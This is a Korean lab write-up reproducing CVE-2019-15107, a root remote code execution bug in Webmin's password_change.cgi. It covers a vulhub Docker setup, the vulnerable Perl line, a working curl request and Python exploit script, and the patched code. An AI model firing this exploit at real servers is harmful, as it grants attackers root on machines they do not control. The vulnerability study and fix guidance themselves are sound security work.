Share
## https://sploitus.com/exploit?id=FDF0D331-710B-5B21-AE95-20F1AC2BBD7F
### ์š”์•ฝ

Webmin์€ Unix ์‹œ์Šคํ…œ์—์„œ ์‚ฌ์šฉ๋˜๋Š” ์›น ๊ธฐ๋ฐ˜ ์‹œ์Šคํ…œ ๊ด€๋ฆฌ ๋„๊ตฌ์ด๋‹ค. ํ•ด๋‹น ๊ด€๋ฆฌ ๋„๊ตฌ์˜ ๊ธฐ๋Šฅ ์ค‘ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ณ€๊ฒฝํ•จ์— ์žˆ์–ด ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํ•„ํ„ฐ๋ฅผ ๊ฑฐ์น˜์ง€ ์•Š๊ณ  ๋ฐ”๋กœ ์‰˜ ๋ช…๋ น์— ๋„˜๊ฒจ์„œ ์‹คํ–‰์‹œํ‚ค๋ฉด์„œ ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰(Remote Code Execution, RCE)ํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋œ๋‹ค.

### ํ™˜๊ฒฝ ๊ตฌ์„ฑ ๋ฐ ์ทจ์•ฝ ์กฐ๊ฑด

๋ณธ ์žฌํ˜„์—์„œ๋Š” vulhub์—์„œ ์‚ฌ์šฉ๋˜์—ˆ๋˜ webmin 1.910 ๋ฒ„์ „์„ ์ด์šฉํ•œ๋‹ค. ๋˜ํ•œ Webmin์˜ `passwd_mode=2`์—ฌ์•ผ ํ•œ๋‹ค.

์ทจ์•ฝํ•œ ํ™˜๊ฒฝ์˜ Webmin์„ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ์•„๋ž˜ ๋ช…๋ น์–ด๋ฅผ ์ž…๋ ฅํ•˜์ž.

```bash
docker compose up -d
```

1.920 ๋ฒ„์ „ ํ˜น์€ 1.920 ์ด์ „ ๋ฒ„์ „์˜ Webmin์„ ์ด์šฉํ•  ๋•Œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ณ€๊ฒฝํ•˜๋Š” `password_change.cgi`์—์„œ ์ทจ์•ฝ์ ์ด ๋ฐœ๊ฒฌ๋˜์—ˆ๋‹ค. 

๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ์—๋Š” `user`, `old`, `new1`, `new2`์™€ ๊ฐ™์€ ์šฐ๋ฆฌ์—๊ฒŒ ์ต์ˆ™ํ•œ ํŒŒ๋ผ๋ฏธํ„ฐ๋“ค์ด ์š”๊ตฌ๋œ๋‹ค. ์ด๋“ค ์ค‘ `old` ํŒŒ๋ผ๋ฏธํ„ฐ์˜ ๊ฐ’์„ ์‹คํ–‰ํ•ด๋ฒ„๋ฆฌ๋Š” ์ฝ”๋“œ๊ฐ€ ์‚ฝ์ž…๋˜์–ด ์žˆ์—ˆ๋‹ค.

์•„๋ž˜๋Š” 1.910๋ฒ„์ „์˜ `password_change.cgi` ํŒŒ์ผ์˜ ์ผ๋ถ€์ด๋‹ค. `qx/$in{'old'}/`๊ฐ€ ์œ„์—์„œ ๋งํ•œ `old`์˜ ๊ฐ’์„ ์‹คํ–‰์‹œํ‚ค๋Š” ์ฝ”๋“œ์ด๋‹ค. ํ•ด๋‹น ๊ฐ’์„ ์กฐ์ ˆํ•จ์œผ๋กœ์จ ์ž„์˜์ฝ”๋“œ์‹คํ–‰์ด ๊ฐ€๋Šฅํ•ด์ง„๋‹ค.

```bash
user@user:~/Documents/vulhub/webmin/CVE-2019-15107$ cat password_change.cgi | grep -C5 "\$in{'old'}"
		die "Missing password file configuration";
	}

if ($wuser) {
	# Update Webmin user's password
	$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
	$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
	$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
	$perr && &pass_error(&text('password_enewpass', $perr));
	$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
	$wuser->{'temppass'} = 0;
	&acl::modify_user($wuser->{'name'}, $wuser);
```

### ์žฌํ˜„ ์ ˆ์ฐจ

Webmin์—์„œ password_change.cgi๋ฅผ ์ ‘์†ํ•˜๊ณ , `old` ๋ณ€์ˆ˜๋ฅผ ์กฐ์ž‘ํ•˜์—ฌ POST request๋ฅผ ๋ณด๋ƒ„์œผ๋กœ์จ ์ทจ์•ฝ์ ์„ ์žฌํ˜„ํ•  ์ˆ˜ ์žˆ๋‹ค.

### PoC ์ฝ”๋“œ

curl์„ ์ด์šฉํ•˜๋“  python์„ ์ด์šฉํ•˜๋“  ์–ด๋–ค ๋ฐฉ์‹์œผ๋กœ๋“  POST ๋ฐฉ์‹์˜ ์š”์ฒญ์„ ๋ณด๋‚ผ ์ˆ˜๋งŒ ์žˆ์œผ๋ฉด ๋œ๋‹ค.

1. **curl**

```docker
curl -k -X POST https://your-ip:10000/password_change.cgi   -d "user=nonexistent&pam=&expired=2&old=**id**&new1=test&new2=test"   -H "Referer: https://your-ip:10000/session_login.cgi"    
```

1. **python**

```bash
import requests
import sys
import argparse

def exploit_webmin(target, command):
    url = f"https://{target}/password_change.cgi"
    
    # HTTPS ์ธ์ฆ์„œ ๋ฌด์‹œ
    requests.packages.urllib3.disable_warnings()
    
    # CVE-2019-15107 payload
    # old ํŒŒ๋ผ๋ฏธํ„ฐ์— ๋ช…๋ น์–ด ์ž…๋ ฅ
    data = {
        'user': 'rootxx',
        'pam': '',
        'expired': '2',
        'old': command,  # ๋ช…๋ น์–ด
        'new1': 'test2',
        'new2': 'test2'
    }
    headers = {
            'Referer': f'https://{target}/session_login.cgi',
            }
    
    try:
        response = requests.post(
            url, 
            data=data, 
            headers=headers,
            verify=False,
            timeout=5
        )
        
        if response.status_code == 200:
            print("[+] Exploit sent!")
            print("[+] Response:")
            print(response.text)
            return True
        else:
            print(f"[-] Status code: {response.status_code}")
            return False
            
    except Exception as e:
        print(f"[-] Error: {e}")
        return False

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='CVE-2019-15107 Webmin RCE PoC')
    parser.add_argument('-t', '--target', required=True, help='Target IP:port (e.g., 127.0.0.1:10000)')
    parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)')
    args = parser.parse_args()
    
    print(f"[*] Exploiting Webmin at {args.target}")
    print(f"[*] Command: {args.command}")
    
    exploit_webmin(args.target, args.command)
```

์•„๋ž˜์™€ ๊ฐ™์ด ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค.

```bash
python3 poc.py -t your-ip:10000 -c "id"
```

### ์‹คํ–‰ ๊ฒฐ๊ณผ

![result image](./1.png)


์œ„์˜ ๋ฐฉ์‹์œผ๋กœ `old` ํŒŒ๋ผ๋ฏธํ„ฐ์— ์›ํ•˜๋Š” ๋ช…๋ น์–ด๋ฅผ ์ง‘์–ด๋„ฃ์œผ๋ฉด ๊ทธ๋Œ€๋กœ ๋ช…๋ น์–ด๊ฐ€ ์‹คํ–‰๋œ๋‹ค. ํ•ด๋‹น ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด uid๊ฐ€ ์ „๋ถ€ 0์œผ๋กœ root ๊ถŒํ•œ์œผ๋กœ ์‹คํ–‰๋œ๋‹ค๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

์ฆ‰, ๋ณธ [CVE-2019-15107] ์ทจ์•ฝ์ ์€ root ๊ถŒํ•œ์œผ๋กœ RCE๋ฅผ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

์ทจ์•ฝ์ ์˜ ์žฌํ˜„์ด ๋๋‚ฌ๋‹ค๋ฉด ์•„๋ž˜ ์ฝ”๋“œ๋ฅผ ํ†ตํ•ด ์„œ๋น„์Šค๋ฅผ ์ข…๋ฃŒํ•  ์ˆ˜ ์žˆ๋‹ค.

```bash
docker compose down
```

### ๋Œ€์‘ ๋ฐฉ์•ˆ

๊ฐ€์žฅ ๊ฐ„๋‹จํ•œ ๋ฐฉ์‹์œผ๋กœ webmin์„ ์—…๋ฐ์ดํŠธํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ์žˆ๋‹ค. 

1.930 ๋ฒ„์ „์œผ๋กœ ์—…๋ฐ์ดํŠธํ•˜๋ฉด์„œ ๋ฐ”๋€ ์ฝ”๋“œ์ด๋‹ค. old ๊ฐ’์„ ์‹คํ–‰ํ•˜๋Š” ๋ถ€๋ถ„์„ ๊ทธ๋Œ€๋กœ ์ง€์›Œ๋ฒ„๋ฆฌ๋Š” ๋ฐฉ์‹์œผ๋กœ ์ฒ˜๋ฆฌํ•˜์˜€๋‹ค.

```bash
if ($wuser) {
	# Update Webmin user's password
	$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
	$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
	$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
	$perr && &pass_error(&text('password_enewpass', $perr));
	$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
	$wuser->{'temppass'} = 0;
	&acl::modify_user($wuser->{'name'}, $wuser);
	&reload_miniserv();
	}
```

๋งŒ์•ฝ ์ฝ”๋“œ ์‹คํ–‰ ํŒŒํŠธ๊ฐ€ ํ•„์š”์‹œ๋œ๋‹ค๋ฉด `old` ์ž…๋ ฅ๊ฐ’์„ ๊ฒ€์ฆํ•˜๋Š” ์ฝ”๋“œ๋ฅผ ์‚ฝ์ž…ํ•˜์—ฌ ํ•ด๊ฒฐํ•  ์ˆ˜๋„ ์žˆ๋‹ค.